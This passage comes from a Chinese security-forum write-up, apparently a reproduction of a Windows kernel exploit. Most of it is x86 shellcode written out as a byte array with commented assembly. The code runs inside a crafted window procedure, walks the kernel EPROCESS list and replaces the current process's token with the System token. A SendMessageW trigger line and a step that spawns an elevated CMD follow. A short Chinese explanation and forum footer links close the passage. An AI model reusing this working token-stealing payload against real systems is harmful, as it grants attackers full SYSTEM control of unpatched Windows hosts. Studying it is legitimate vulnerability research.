// Arguments:// [ebp+08h]:pwnd = pwndWindowHunt;// [ebp+0Ch]:msg = 0x9F9F;// [ebp+10h]:wParam = popupMenuRoot;// [ebp+14h]:lParam = NULL;// In kernel-mode, the first argument is tagWND pwnd.staticBYTExxPayloadWindProc[] = { // Loader+0x108a: // Judge if the `msg` is 0x9f9f value. 0x55, // push ebp 0x8b, 0xec, // mov ebp,esp 0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch] 0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128 // Loader+0x109b: // Judge if CS is 0x1b, which means in user-mode context. 0x66, 0x8c, 0xc8, // mov ax,cs 0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128 // Loader+0x10a8: // Get the address of pwndWindowHunt to ECX. // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc. // Get the address of pvShellCode to EDX by CALL-POP. // Get the address of pvShellCode->tagCLS[0x100] to ESI. // Get the address of popupMenuRoot to EDI. 0xfc, // cld 0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8] 0xff, 0x41, 0x16, // inc dword ptr [ecx+16h] 0x60, // pushad 0xe8, 0x00, 0x00, 0x00, 0x00, // call $5 0x5a, // pop edx 0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h 0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h 0x8d, 0x72, 0x18, // lea esi,[edx+18h] 0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h] // Loader+0x10c7: 0x85, 0xdb, // test ebx,ebx 0x74, 0x13, // je Loader+0x10de // Loader+0x10cb: // Judge if pvShellCode->tagCLS[ebx] == NULL 0xad, // lods dword ptr [esi] 0x4b, // dec ebx 0x83, 0xf8, 0x00, // cmp eax,0 0x74, 0xf5, // je Loader+0x10c7 // Loader+0x10d2: // Judge if tagCLS->lpszMenuName == popupMenuRoot 0x03, 0x42, 0x08, // add eax,dword ptr [edx+8] 0x39, 0x38, // cmp dword ptr [eax],edi 0x75, 0xee, // jne Loader+0x10c7 // Loader+0x10d9: // Zero tagCLS->lpszMenuName 0x83, 0x20, 0x00, // and dword ptr [eax],0 0xeb, 0xe9, // jmp Loader+0x10c7 // Loader+0x10de: // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX. // Get the value of pvShellCode->pid to EAX. 0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8] 0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch] 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x8b, 0x09, // mov ecx,dword ptr [ecx] 0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h] 0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4] 0x51, // push ecx // Loader+0x10f0: // Judge if EPROCESS->UniqueId == pid. 0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax 0x74, 0x07, // je Loader+0x10fd // Loader+0x10f6: // Get next EPROCESS to ECX by ActiveLink. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x2b, 0xcb, // sub ecx,ebx 0xeb, 0xf3, // jmp Loader+0x10f0 // Loader+0x10fd: // Get current EPROCESS to EDI. 0x8b, 0xf9, // mov edi,ecx 0x59, // pop ecx // Loader+0x1100: // Judge if EPROCESS->UniqueId == 4 0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4 0x74, 0x07, // je Loader+0x110e // Loader+0x1107: // Get next EPROCESS to ECX by ActiveLink. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx] 0x2b, 0xcb, // sub ecx,ebx 0xeb, 0xf2, // jmp Loader+0x1100 // Loader+0x110e: // Get system EPROCESS to ESI. // Get the value of system EPROCESS->Token to current EPROCESS->Token. // Add 2 to OBJECT_HEADER->PointerCount of system Token. // Return 0x9F9F to the caller. 0x8b, 0xf1, // mov esi,ecx 0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h] 0x03, 0xf0, // add esi,eax 0x03, 0xf8, // add edi,eax 0xad, // lods dword ptr [esi] 0xab, // stos dword ptr es:[edi] 0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h 0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2 0x61, // popad 0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh 0xeb, 0x05, // jmp Loader+0x112d // Loader+0x1128: // Failed in processing. 0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1 // Loader+0x112d: 0xc9, // leave 0xc2, 0x10, 0x00, // ret 10h};

1. 判断传入的消息是否为0x9F9F。

2. 将匹配到的 tagCLS 对象的成员域 lpszMenuName 置空。

3. 当前进程和 System 进程的进程体对象地址,并修改当前进程的Token为System进程的Token。

4. 恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向调用者的反馈信息。


LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);bDoneExploit = Triggered == 0x9F9F;

SHELLCODE已经布置好了,接下来在自定义阴影窗口消息处理函数中调用系统服务 NtUserMNDragLeave 并且对载体窗口对象发送自定义提权消息 0x9F9F 的调用语句,返回结果保存在bDoneExploit中。这样,如果主线程监听到bDoneExploit被成功赋值的话就创建新的CMD。




- End -


看雪ID:0x2l

https://bbs.pediy.com/user-862439.htm

  *本文由看雪论坛 0x2l 原创,转载请注明来自看雪社区。



推荐文章++++

* CVE-2020-1350分析与复现

* 关于抓包的碎碎念

* 不能说的秘密

* 某Nginx后门分析复现与改写

* 让C语言源码可知自身函数的实际地址与大小




公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



ps. 觉得对你有帮助的话,别忘点分享点赞在看,支持看雪哦~


“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存